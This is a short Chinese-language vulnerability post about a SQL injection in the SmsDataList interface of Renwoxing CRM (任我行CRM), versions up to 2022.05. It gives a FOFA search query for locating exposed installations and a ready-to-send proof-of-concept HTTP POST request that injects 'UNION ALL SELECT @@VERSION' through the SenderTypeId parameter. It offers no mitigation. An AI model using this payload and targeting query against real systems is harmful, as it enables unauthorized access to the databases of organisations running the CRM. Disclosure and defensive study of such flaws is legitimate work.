漏洞概述
SmsDataList接口存在SQL注入漏洞
影响范围
测试≤2022.05都存在,以上未测试
复现环境
FOFA语法:
"欢迎使用任我行CRM"
漏洞复现
PoC
POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
SenderTypeId=0' UNION ALL SELECT @@VERSION --
仅登录用户可评论,点击 登录